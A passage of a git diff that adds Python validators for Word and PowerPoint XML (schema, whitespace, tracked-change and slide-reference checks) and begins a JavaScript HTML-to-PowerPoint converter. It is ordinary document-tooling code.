+ return True, set() + + def validate_against_xsd(self): + """Validate XML files against XSD schemas, showing only new errors compared to original.""" + new_errors = [] + original_error_count = 0 + valid_count = 0 + skipped_count = 0 + + for xml_file in self.xml_files: + relative_path = str(xml_file.relative_to(self.unpacked_dir)) + is_valid, new_file_errors = self.validate_file_against_xsd( + xml_file, verbose=False + ) + + if is_valid is None: + skipped_count += 1 + continue + elif is_valid and not new_file_errors: + valid_count += 1 + continue + elif is_valid: + # Had errors but all existed in original + original_error_count += 1 + valid_count += 1 + continue + + # Has new errors + new_errors.append(f" {relative_path}: {len(new_file_errors)} new error(s)") + for error in list(new_file_errors)[:3]: # Show first 3 errors + new_errors.append( + f" - {error[:250]}..." if len(error) > 250 else f" - {error}" + ) + + # Print summary + if self.verbose: + print(f"Validated {len(self.xml_files)} files:") + print(f" - Valid: {valid_count}") + print(f" - Skipped (no schema): {skipped_count}") + if original_error_count: + print(f" - With original errors (ignored): {original_error_count}") + print( + f" - With NEW errors: {len(new_errors) > 0 and len([e for e in new_errors if not e.startswith(' ')]) or 0}" + ) + + if new_errors: + print("\nFAILED - Found NEW validation errors:") + for error in new_errors: + print(error) + return False + else: + if self.verbose: + print("\nPASSED - No new XSD validation errors introduced") + return True + + def _get_schema_path(self, xml_file): + """Determine the appropriate schema path for an XML file.""" + # Check exact filename match + if xml_file.name in self.SCHEMA_MAPPINGS: + return self.schemas_dir / self.SCHEMA_MAPPINGS[xml_file.name] + + # Check .rels files + if xml_file.suffix == ".rels": + return self.schemas_dir / self.SCHEMA_MAPPINGS[".rels"] + + # Check chart files + if "charts/" in str(xml_file) and xml_file.name.startswith("chart"): + return self.schemas_dir / self.SCHEMA_MAPPINGS["chart"] + + # Check theme files + if "theme/" in str(xml_file) and xml_file.name.startswith("theme"): + return self.schemas_dir / self.SCHEMA_MAPPINGS["theme"] + + # Check if file is in a main content folder and use appropriate schema + if xml_file.parent.name in self.MAIN_CONTENT_FOLDERS: + return self.schemas_dir / self.SCHEMA_MAPPINGS[xml_file.parent.name] + + return None + + def _clean_ignorable_namespaces(self, xml_doc): + """Remove attributes and elements not in allowed namespaces.""" + # Create a clean copy + xml_string = lxml.etree.tostring(xml_doc, encoding="unicode") + xml_copy = lxml.etree.fromstring(xml_string) + + # Remove attributes not in allowed namespaces + for elem in xml_copy.iter(): + attrs_to_remove = [] + + for attr in elem.attrib: + # Check if attribute is from a namespace other than allowed ones + if "{" in attr: + ns = attr.split("}")[0][1:] + if ns not in self.OOXML_NAMESPACES: + attrs_to_remove.append(attr) + + # Remove collected attributes + for attr in attrs_to_remove: + del elem.attrib[attr] + + # Remove elements not in allowed namespaces + self._remove_ignorable_elements(xml_copy) + + return lxml.etree.ElementTree(xml_copy) + + def _remove_ignorable_elements(self, root): + """Recursively remove all elements not in allowed namespaces.""" + elements_to_remove = [] + + # Find elements to remove + for elem in list(root): + # Skip non-element nodes (comments, processing instructions, etc.) + if not hasattr(elem, "tag") or callable(elem.tag): + continue + + tag_str = str(elem.tag) + if tag_str.startswith("{"): + ns = tag_str.split("}")[0][1:] + if ns not in self.OOXML_NAMESPACES: + elements_to_remove.append(elem) + continue + + # Recursively clean child elements + self._remove_ignorable_elements(elem) + + # Remove collected elements + for elem in elements_to_remove: + root.remove(elem) + + def _preprocess_for_mc_ignorable(self, xml_doc): + """Preprocess XML to handle mc:Ignorable attribute properly.""" + # Remove mc:Ignorable attributes before validation + root = xml_doc.getroot() + + # Remove mc:Ignorable attribute from root + if f"{{{self.MC_NAMESPACE}}}Ignorable" in root.attrib: + del root.attrib[f"{{{self.MC_NAMESPACE}}}Ignorable"] + + return xml_doc + + def _validate_single_file_xsd(self, xml_file, base_path): + """Validate a single XML file against XSD schema. Returns (is_valid, errors_set).""" + schema_path = self._get_schema_path(xml_file) + if not schema_path: + return None, None # Skip file + + try: + # Load schema + with open(schema_path, "rb") as xsd_file: + parser = lxml.etree.XMLParser() + xsd_doc = lxml.etree.parse( + xsd_file, parser=parser, base_url=str(schema_path) + ) + schema = lxml.etree.XMLSchema(xsd_doc) + + # Load and preprocess XML + with open(xml_file, "r") as f: + xml_doc = lxml.etree.parse(f) + + xml_doc, _ = self._remove_template_tags_from_text_nodes(xml_doc) + xml_doc = self._preprocess_for_mc_ignorable(xml_doc) + + # Clean ignorable namespaces if needed + relative_path = xml_file.relative_to(base_path) + if ( + relative_path.parts + and relative_path.parts[0] in self.MAIN_CONTENT_FOLDERS + ): + xml_doc = self._clean_ignorable_namespaces(xml_doc) + + # Validate + if schema.validate(xml_doc): + return True, set() + else: + errors = set() + for error in schema.error_log: + # Store normalized error message (without line numbers for comparison) + errors.add(error.message) + return False, errors + + except Exception as e: + return False, {str(e)} + + def _get_original_file_errors(self, xml_file): + """Get XSD validation errors from a single file in the original document. + + Args: + xml_file: Path to the XML file in unpacked_dir to check + + Returns: + set: Set of error messages from the original file + """ + import tempfile + import zipfile + + # Resolve both paths to handle symlinks (e.g., /var vs /private/var on macOS) + xml_file = Path(xml_file).resolve() + unpacked_dir = self.unpacked_dir.resolve() + relative_path = xml_file.relative_to(unpacked_dir) + + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Extract original file + with zipfile.ZipFile(self.original_file, "r") as zip_ref: + zip_ref.extractall(temp_path) + + # Find corresponding file in original + original_xml_file = temp_path / relative_path + + if not original_xml_file.exists(): + # File didn't exist in original, so no original errors + return set() + + # Validate the specific file in original + is_valid, errors = self._validate_single_file_xsd( + original_xml_file, temp_path + ) + return errors if errors else set() + + def _remove_template_tags_from_text_nodes(self, xml_doc): + """Remove template tags from XML text nodes and collect warnings. + + Template tags follow the pattern {{ ... }} and are used as placeholders + for content replacement. They should be removed from text content before + XSD validation while preserving XML structure. + + Returns: + tuple: (cleaned_xml_doc, warnings_list) + """ + warnings = [] + template_pattern = re.compile(r"\{\{[^}]*\}\}") + + # Create a copy of the document to avoid modifying the original + xml_string = lxml.etree.tostring(xml_doc, encoding="unicode") + xml_copy = lxml.etree.fromstring(xml_string) + + def process_text_content(text, content_type): + if not text: + return text + matches = list(template_pattern.finditer(text)) + if matches: + for match in matches: + warnings.append( + f"Found template tag in {content_type}: {match.group()}" + ) + return template_pattern.sub("", text) + return text + + # Process all text nodes in the document + for elem in xml_copy.iter(): + # Skip processing if this is a w:t element + if not hasattr(elem, "tag") or callable(elem.tag): + continue + tag_str = str(elem.tag) + if tag_str.endswith("}t") or tag_str == "t": + continue + + elem.text = process_text_content(elem.text, "text content") + elem.tail = process_text_content(elem.tail, "tail content") + + return lxml.etree.ElementTree(xml_copy), warnings + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/pptx/ooxml/scripts/validation/docx.py b/skills/pptx/ooxml/scripts/validation/docx.py new file mode 100644 index 00000000..602c4708 --- /dev/null +++ b/skills/pptx/ooxml/scripts/validation/docx.py @@ -0,0 +1,274 @@ +""" +Validator for Word document XML files against XSD schemas. +""" + +import re +import tempfile +import zipfile + +import lxml.etree + +from .base import BaseSchemaValidator + + +class DOCXSchemaValidator(BaseSchemaValidator): + """Validator for Word document XML files against XSD schemas.""" + + # Word-specific namespace + WORD_2006_NAMESPACE = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" + + # Word-specific element to relationship type mappings + # Start with empty mapping - add specific cases as we discover them + ELEMENT_RELATIONSHIP_TYPES = {} + + def validate(self): + """Run all validation checks and return True if all pass.""" + # Test 0: XML well-formedness + if not self.validate_xml(): + return False + + # Test 1: Namespace declarations + all_valid = True + if not self.validate_namespaces(): + all_valid = False + + # Test 2: Unique IDs + if not self.validate_unique_ids(): + all_valid = False + + # Test 3: Relationship and file reference validation + if not self.validate_file_references(): + all_valid = False + + # Test 4: Content type declarations + if not self.validate_content_types(): + all_valid = False + + # Test 5: XSD schema validation + if not self.validate_against_xsd(): + all_valid = False + + # Test 6: Whitespace preservation + if not self.validate_whitespace_preservation(): + all_valid = False + + # Test 7: Deletion validation + if not self.validate_deletions(): + all_valid = False + + # Test 8: Insertion validation + if not self.validate_insertions(): + all_valid = False + + # Test 9: Relationship ID reference validation + if not self.validate_all_relationship_ids(): + all_valid = False + + # Count and compare paragraphs + self.compare_paragraph_counts() + + return all_valid + + def validate_whitespace_preservation(self): + """ + Validate that w:t elements with whitespace have xml:space='preserve'. + """ + errors = [] + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all w:t elements + for elem in root.iter(f"{{{self.WORD_2006_NAMESPACE}}}t"): + if elem.text: + text = elem.text + # Check if text starts or ends with whitespace + if re.match(r"^\s.*", text) or re.match(r".*\s$", text): + # Check if xml:space="preserve" attribute exists + xml_space_attr = f"{{{self.XML_NAMESPACE}}}space" + if ( + xml_space_attr not in elem.attrib + or elem.attrib[xml_space_attr] != "preserve" + ): + # Show a preview of the text + text_preview = ( + repr(text)[:50] + "..." + if len(repr(text)) > 50 + else repr(text) + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: w:t element with whitespace missing xml:space='preserve': {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} whitespace preservation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All whitespace is properly preserved") + return True + + def validate_deletions(self): + """ + Validate that w:t elements are not within w:del elements. + For some reason, XSD validation does not catch this, so we do it manually. + """ + errors = [] + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all w:t elements that are descendants of w:del elements + namespaces = {"w": self.WORD_2006_NAMESPACE} + xpath_expression = ".//w:del//w:t" + problematic_t_elements = root.xpath( + xpath_expression, namespaces=namespaces + ) + for t_elem in problematic_t_elements: + if t_elem.text: + # Show a preview of the text + text_preview = ( + repr(t_elem.text)[:50] + "..." + if len(repr(t_elem.text)) > 50 + else repr(t_elem.text) + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {t_elem.sourceline}: <w:t> found within <w:del>: {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} deletion validation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - No w:t elements found within w:del elements") + return True + + def count_paragraphs_in_unpacked(self): + """Count the number of paragraphs in the unpacked document.""" + count = 0 + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + # Count all w:p elements + paragraphs = root.findall(f".//{{{self.WORD_2006_NAMESPACE}}}p") + count = len(paragraphs) + except Exception as e: + print(f"Error counting paragraphs in unpacked document: {e}") + + return count + + def count_paragraphs_in_original(self): + """Count the number of paragraphs in the original docx file.""" + count = 0 + + try: + # Create temporary directory to unpack original + with tempfile.TemporaryDirectory() as temp_dir: + # Unpack original docx + with zipfile.ZipFile(self.original_file, "r") as zip_ref: + zip_ref.extractall(temp_dir) + + # Parse document.xml + doc_xml_path = temp_dir + "/word/document.xml" + root = lxml.etree.parse(doc_xml_path).getroot() + + # Count all w:p elements + paragraphs = root.findall(f".//{{{self.WORD_2006_NAMESPACE}}}p") + count = len(paragraphs) + + except Exception as e: + print(f"Error counting paragraphs in original document: {e}") + + return count + + def validate_insertions(self): + """ + Validate that w:delText elements are not within w:ins elements. + w:delText is only allowed in w:ins if nested within a w:del. + """ + errors = [] + + for xml_file in self.xml_files: + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + namespaces = {"w": self.WORD_2006_NAMESPACE} + + # Find w:delText in w:ins that are NOT within w:del + invalid_elements = root.xpath( + ".//w:ins//w:delText[not(ancestor::w:del)]", + namespaces=namespaces + ) + + for elem in invalid_elements: + text_preview = ( + repr(elem.text or "")[:50] + "..." + if len(repr(elem.text or "")) > 50 + else repr(elem.text or "") + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: <w:delText> within <w:ins>: {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} insertion validation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - No w:delText elements within w:ins elements") + return True + + def compare_paragraph_counts(self): + """Compare paragraph counts between original and new document.""" + original_count = self.count_paragraphs_in_original() + new_count = self.count_paragraphs_in_unpacked() + + diff = new_count - original_count + diff_str = f"+{diff}" if diff > 0 else str(diff) + print(f"\nParagraphs: {original_count} → {new_count} ({diff_str})") + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/pptx/ooxml/scripts/validation/pptx.py b/skills/pptx/ooxml/scripts/validation/pptx.py new file mode 100644 index 00000000..66d5b1e2 --- /dev/null +++ b/skills/pptx/ooxml/scripts/validation/pptx.py @@ -0,0 +1,315 @@ +""" +Validator for PowerPoint presentation XML files against XSD schemas. +""" + +import re + +from .base import BaseSchemaValidator + + +class PPTXSchemaValidator(BaseSchemaValidator): + """Validator for PowerPoint presentation XML files against XSD schemas.""" + + # PowerPoint presentation namespace + PRESENTATIONML_NAMESPACE = ( + "http://schemas.openxmlformats.org/presentationml/2006/main" + ) + + # PowerPoint-specific element to relationship type mappings + ELEMENT_RELATIONSHIP_TYPES = { + "sldid": "slide", + "sldmasterid": "slidemaster", + "notesmasterid": "notesmaster", + "sldlayoutid": "slidelayout", + "themeid": "theme", + "tablestyleid": "tablestyles", + } + + def validate(self): + """Run all validation checks and return True if all pass.""" + # Test 0: XML well-formedness + if not self.validate_xml(): + return False + + # Test 1: Namespace declarations + all_valid = True + if not self.validate_namespaces(): + all_valid = False + + # Test 2: Unique IDs + if not self.validate_unique_ids(): + all_valid = False + + # Test 3: UUID ID validation + if not self.validate_uuid_ids(): + all_valid = False + + # Test 4: Relationship and file reference validation + if not self.validate_file_references(): + all_valid = False + + # Test 5: Slide layout ID validation + if not self.validate_slide_layout_ids(): + all_valid = False + + # Test 6: Content type declarations + if not self.validate_content_types(): + all_valid = False + + # Test 7: XSD schema validation + if not self.validate_against_xsd(): + all_valid = False + + # Test 8: Notes slide reference validation + if not self.validate_notes_slide_references(): + all_valid = False + + # Test 9: Relationship ID reference validation + if not self.validate_all_relationship_ids(): + all_valid = False + + # Test 10: Duplicate slide layout references validation + if not self.validate_no_duplicate_slide_layouts(): + all_valid = False + + return all_valid + + def validate_uuid_ids(self): + """Validate that ID attributes that look like UUIDs contain only hex values.""" + import lxml.etree + + errors = [] + # UUID pattern: 8-4-4-4-12 hex digits with optional braces/hyphens + uuid_pattern = re.compile( + r"^[\{\(]?[0-9A-Fa-f]{8}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{12}[\}\)]?$" + ) + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Check all elements for ID attributes + for elem in root.iter(): + for attr, value in elem.attrib.items(): + # Check if this is an ID attribute + attr_name = attr.split("}")[-1].lower() + if attr_name == "id" or attr_name.endswith("id"): + # Check if value looks like a UUID (has the right length and pattern structure) + if self._looks_like_uuid(value): + # Validate that it contains only hex characters in the right positions + if not uuid_pattern.match(value): + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: ID '{value}' appears to be a UUID but contains invalid hex characters" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} UUID ID validation errors:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All UUID-like IDs contain valid hex values") + return True + + def _looks_like_uuid(self, value): + """Check if a value has the general structure of a UUID.""" + # Remove common UUID delimiters + clean_value = value.strip("{}()").replace("-", "") + # Check if it's 32 hex-like characters (could include invalid hex chars) + return len(clean_value) == 32 and all(c.isalnum() for c in clean_value) + + def validate_slide_layout_ids(self): + """Validate that sldLayoutId elements in slide masters reference valid slide layouts.""" + import lxml.etree + + errors = [] + + # Find all slide master files + slide_masters = list(self.unpacked_dir.glob("ppt/slideMasters/*.xml")) + + if not slide_masters: + if self.verbose: + print("PASSED - No slide masters found") + return True + + for slide_master in slide_masters: + try: + # Parse the slide master file + root = lxml.etree.parse(str(slide_master)).getroot() + + # Find the corresponding _rels file for this slide master + rels_file = slide_master.parent / "_rels" / f"{slide_master.name}.rels" + + if not rels_file.exists(): + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: " + f"Missing relationships file: {rels_file.relative_to(self.unpacked_dir)}" + ) + continue + + # Parse the relationships file + rels_root = lxml.etree.parse(str(rels_file)).getroot() + + # Build a set of valid relationship IDs that point to slide layouts + valid_layout_rids = set() + for rel in rels_root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rel_type = rel.get("Type", "") + if "slideLayout" in rel_type: + valid_layout_rids.add(rel.get("Id")) + + # Find all sldLayoutId elements in the slide master + for sld_layout_id in root.findall( + f".//{{{self.PRESENTATIONML_NAMESPACE}}}sldLayoutId" + ): + r_id = sld_layout_id.get( + f"{{{self.OFFICE_RELATIONSHIPS_NAMESPACE}}}id" + ) + layout_id = sld_layout_id.get("id") + + if r_id and r_id not in valid_layout_rids: + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: " + f"Line {sld_layout_id.sourceline}: sldLayoutId with id='{layout_id}' " + f"references r:id='{r_id}' which is not found in slide layout relationships" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} slide layout ID validation errors:") + for error in errors: + print(error) + print( + "Remove invalid references or add missing slide layouts to the relationships file." + ) + return False + else: + if self.verbose: + print("PASSED - All slide layout IDs reference valid slide layouts") + return True + + def validate_no_duplicate_slide_layouts(self): + """Validate that each slide has exactly one slideLayout reference.""" + import lxml.etree + + errors = [] + slide_rels_files = list(self.unpacked_dir.glob("ppt/slides/_rels/*.xml.rels")) + + for rels_file in slide_rels_files: + try: + root = lxml.etree.parse(str(rels_file)).getroot() + + # Find all slideLayout relationships + layout_rels = [ + rel + for rel in root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ) + if "slideLayout" in rel.get("Type", "") + ] + + if len(layout_rels) > 1: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: has {len(layout_rels)} slideLayout references" + ) + + except Exception as e: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print("FAILED - Found slides with duplicate slideLayout references:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All slides have exactly one slideLayout reference") + return True + + def validate_notes_slide_references(self): + """Validate that each notesSlide file is referenced by only one slide.""" + import lxml.etree + + errors = [] + notes_slide_references = {} # Track which slides reference each notesSlide + + # Find all slide relationship files + slide_rels_files = list(self.unpacked_dir.glob("ppt/slides/_rels/*.xml.rels")) + + if not slide_rels_files: + if self.verbose: + print("PASSED - No slide relationship files found") + return True + + for rels_file in slide_rels_files: + try: + # Parse the relationships file + root = lxml.etree.parse(str(rels_file)).getroot() + + # Find all notesSlide relationships + for rel in root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rel_type = rel.get("Type", "") + if "notesSlide" in rel_type: + target = rel.get("Target", "") + if target: + # Normalize the target path to handle relative paths + normalized_target = target.replace("../", "") + + # Track which slide references this notesSlide + slide_name = rels_file.stem.replace( + ".xml", "" + ) # e.g., "slide1" + + if normalized_target not in notes_slide_references: + notes_slide_references[normalized_target] = [] + notes_slide_references[normalized_target].append( + (slide_name, rels_file) + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + # Check for duplicate references + for target, references in notes_slide_references.items(): + if len(references) > 1: + slide_names = [ref[0] for ref in references] + errors.append( + f" Notes slide '{target}' is referenced by multiple slides: {', '.join(slide_names)}" + ) + for slide_name, rels_file in references: + errors.append(f" - {rels_file.relative_to(self.unpacked_dir)}") + + if errors: + print( + f"FAILED - Found {len([e for e in errors if not e.startswith(' ')])} notes slide reference validation errors:" + ) + for error in errors: + print(error) + print("Each slide may optionally have its own slide file.") + return False + else: + if self.verbose: + print("PASSED - All notes slide references are unique") + return True + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/pptx/ooxml/scripts/validation/redlining.py b/skills/pptx/ooxml/scripts/validation/redlining.py new file mode 100644 index 00000000..7ed425ed --- /dev/null +++ b/skills/pptx/ooxml/scripts/validation/redlining.py @@ -0,0 +1,279 @@ +""" +Validator for tracked changes in Word documents. +""" + +import subprocess +import tempfile +import zipfile +from pathlib import Path + + +class RedliningValidator: + """Validator for tracked changes in Word documents.""" + + def __init__(self, unpacked_dir, original_docx, verbose=False): + self.unpacked_dir = Path(unpacked_dir) + self.original_docx = Path(original_docx) + self.verbose = verbose + self.namespaces = { + "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" + } + + def validate(self): + """Main validation method that returns True if valid, False otherwise.""" + # Verify unpacked directory exists and has correct structure + modified_file = self.unpacked_dir / "word" / "document.xml" + if not modified_file.exists(): + print(f"FAILED - Modified document.xml not found at {modified_file}") + return False + + # First, check if there are any tracked changes by Claude to validate + try: + import xml.etree.ElementTree as ET + + tree = ET.parse(modified_file) + root = tree.getroot() + + # Check for w:del or w:ins tags authored by Claude + del_elements = root.findall(".//w:del", self.namespaces) + ins_elements = root.findall(".//w:ins", self.namespaces) + + # Filter to only include changes by Claude + claude_del_elements = [ + elem + for elem in del_elements + if elem.get(f"{{{self.namespaces['w']}}}author") == "Claude" + ] + claude_ins_elements = [ + elem + for elem in ins_elements + if elem.get(f"{{{self.namespaces['w']}}}author") == "Claude" + ] + + # Redlining validation is only needed if tracked changes by Claude have been used. + if not claude_del_elements and not claude_ins_elements: + if self.verbose: + print("PASSED - No tracked changes by Claude found.") + return True + + except Exception: + # If we can't parse the XML, continue with full validation + pass + + # Create temporary directory for unpacking original docx + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Unpack original docx + try: + with zipfile.ZipFile(self.original_docx, "r") as zip_ref: + zip_ref.extractall(temp_path) + except Exception as e: + print(f"FAILED - Error unpacking original docx: {e}") + return False + + original_file = temp_path / "word" / "document.xml" + if not original_file.exists(): + print( + f"FAILED - Original document.xml not found in {self.original_docx}" + ) + return False + + # Parse both XML files using xml.etree.ElementTree for redlining validation + try: + import xml.etree.ElementTree as ET + + modified_tree = ET.parse(modified_file) + modified_root = modified_tree.getroot() + original_tree = ET.parse(original_file) + original_root = original_tree.getroot() + except ET.ParseError as e: + print(f"FAILED - Error parsing XML files: {e}") + return False + + # Remove Claude's tracked changes from both documents + self._remove_claude_tracked_changes(original_root) + self._remove_claude_tracked_changes(modified_root) + + # Extract and compare text content + modified_text = self._extract_text_content(modified_root) + original_text = self._extract_text_content(original_root) + + if modified_text != original_text: + # Show detailed character-level differences for each paragraph + error_message = self._generate_detailed_diff( + original_text, modified_text + ) + print(error_message) + return False + + if self.verbose: + print("PASSED - All changes by Claude are properly tracked") + return True + + def _generate_detailed_diff(self, original_text, modified_text): + """Generate detailed word-level differences using git word diff.""" + error_parts = [ + "FAILED - Document text doesn't match after removing Claude's tracked changes", + "", + "Likely causes:", + " 1. Modified text inside another author's <w:ins> or <w:del> tags", + " 2. Made edits without proper tracked changes", + " 3. Didn't nest <w:del> inside <w:ins> when deleting another's insertion", + "", + "For pre-redlined documents, use correct patterns:", + " - To reject another's INSERTION: Nest <w:del> inside their <w:ins>", + " - To restore another's DELETION: Add new <w:ins> AFTER their <w:del>", + "", + ] + + # Show git word diff + git_diff = self._get_git_word_diff(original_text, modified_text) + if git_diff: + error_parts.extend(["Differences:", "============", git_diff]) + else: + error_parts.append("Unable to generate word diff (git not available)") + + return "\n".join(error_parts) + + def _get_git_word_diff(self, original_text, modified_text): + """Generate word diff using git with character-level precision.""" + try: + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Create two files + original_file = temp_path / "original.txt" + modified_file = temp_path / "modified.txt" + + original_file.write_text(original_text, encoding="utf-8") + modified_file.write_text(modified_text, encoding="utf-8") + + # Try character-level diff first for precise differences + result = subprocess.run( + [ + "git", + "diff", + "--word-diff=plain", + "--word-diff-regex=.", # Character-by-character diff + "-U0", # Zero lines of context - show only changed lines + "--no-index", + str(original_file), + str(modified_file), + ], + capture_output=True, + text=True, + ) + + if result.stdout.strip(): + # Clean up the output - remove git diff header lines + lines = result.stdout.split("\n") + # Skip the header lines (diff --git, index, +++, ---, @@) + content_lines = [] + in_content = False + for line in lines: + if line.startswith("@@"): + in_content = True + continue + if in_content and line.strip(): + content_lines.append(line) + + if content_lines: + return "\n".join(content_lines) + + # Fallback to word-level diff if character-level is too verbose + result = subprocess.run( + [ + "git", + "diff", + "--word-diff=plain", + "-U0", # Zero lines of context + "--no-index", + str(original_file), + str(modified_file), + ], + capture_output=True, + text=True, + ) + + if result.stdout.strip(): + lines = result.stdout.split("\n") + content_lines = [] + in_content = False + for line in lines: + if line.startswith("@@"): + in_content = True + continue + if in_content and line.strip(): + content_lines.append(line) + return "\n".join(content_lines) + + except (subprocess.CalledProcessError, FileNotFoundError, Exception): + # Git not available or other error, return None to use fallback + pass + + return None + + def _remove_claude_tracked_changes(self, root): + """Remove tracked changes authored by Claude from the XML root.""" + ins_tag = f"{{{self.namespaces['w']}}}ins" + del_tag = f"{{{self.namespaces['w']}}}del" + author_attr = f"{{{self.namespaces['w']}}}author" + + # Remove w:ins elements + for parent in root.iter(): + to_remove = [] + for child in parent: + if child.tag == ins_tag and child.get(author_attr) == "Claude": + to_remove.append(child) + for elem in to_remove: + parent.remove(elem) + + # Unwrap content in w:del elements where author is "Claude" + deltext_tag = f"{{{self.namespaces['w']}}}delText" + t_tag = f"{{{self.namespaces['w']}}}t" + + for parent in root.iter(): + to_process = [] + for child in parent: + if child.tag == del_tag and child.get(author_attr) == "Claude": + to_process.append((child, list(parent).index(child))) + + # Process in reverse order to maintain indices + for del_elem, del_index in reversed(to_process): + # Convert w:delText to w:t before moving + for elem in del_elem.iter(): + if elem.tag == deltext_tag: + elem.tag = t_tag + + # Move all children of w:del to its parent before removing w:del + for child in reversed(list(del_elem)): + parent.insert(del_index, child) + parent.remove(del_elem) + + def _extract_text_content(self, root): + """Extract text content from Word XML, preserving paragraph structure. + + Empty paragraphs are skipped to avoid false positives when tracked + insertions add only structural elements without text content. + """ + p_tag = f"{{{self.namespaces['w']}}}p" + t_tag = f"{{{self.namespaces['w']}}}t" + + paragraphs = [] + for p_elem in root.findall(f".//{p_tag}"): + # Get all text elements within this paragraph + text_parts = [] + for t_elem in p_elem.findall(f".//{t_tag}"): + if t_elem.text: + text_parts.append(t_elem.text) + paragraph_text = "".join(text_parts) + # Skip empty paragraphs - they don't affect content validation + if paragraph_text: + paragraphs.append(paragraph_text) + + return "\n".join(paragraphs) + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/pptx/scripts/html2pptx.js b/skills/pptx/scripts/html2pptx.js new file mode 100755 index 00000000..437bf7c5 --- /dev/null +++ b/skills/pptx/scripts/html2pptx.js @@ -0,0 +1,979 @@ +/** + * html2pptx - Convert HTML slide to pptxgenjs slide with positioned elements + * + * USAGE: + * const pptx = new pptxgen(); + * pptx.layout = 'LAYOUT_16x9'; // Must match HTML body dimensions + * + * const { slide, placeholders } = await html2pptx('slide.html', pptx); + * slide.addChart(pptx.charts.LINE, data, placeholders[0]); + * + * await pptx.writeFile('output.pptx'); + * + * FEATURES: + * - Converts HTML to PowerPoint with accurate positioning + * - Supports text, images, shapes, and bullet lists + * - Extracts placeholder elements (class="placeholder") with positions + * - Handles CSS gradients, borders, and margins + * + * VALIDATION: + * - Uses body width/height from HTML for viewport sizing + * - Throws error if HTML dimensions don't match presentation layout + * - Throws error if content overflows body (with overflow details) + * + * RETURNS: + * { slide, placeholders } where placeholders is an array of { id, x, y, w, h } + */ + +const { chromium } = require('playwright'); +const path = require('path'); +const sharp = require('sharp'); + +const PT_PER_PX = 0.75; +const PX_PER_IN = 96; +const EMU_PER_IN = 914400; + +// Helper: Get body dimensions and check for overflow +async function getBodyDimensions(page) { + const bodyDimensions = await page.evaluate(() => { + const body = document.body; + const style = window.getComputedStyle(body); + + return { + width: parseFloat(style.width), + height: parseFloat(style.height), + scrollWidth: body.scrollWidth, + scrollHeight: body.scrollHeight + }; + }); + + const errors = []; + const widthOverflowPx = Math.max(0, bodyDimensions.scrollWidth - bodyDimensions.width - 1); + const heightOverflowPx = Math.max(0, bodyDimensions.scrollHeight - bodyDimensions.height - 1); + + const widthOverflowPt = widthOverflowPx * PT_PER_PX; + const heightOverflowPt = heightOverflowPx * PT_PER_PX; + + if (widthOverflowPt > 0 || heightOverflowPt > 0) { + const directions = []; + if (widthOverflowPt > 0) directions.push(`${widthOverflowPt.toFixed(1)}pt horizontally`); + if (heightOverflowPt > 0) directions.push(`${heightOverflowPt.toFixed(1)}pt vertically`); + const reminder = heightOverflowPt > 0 ? 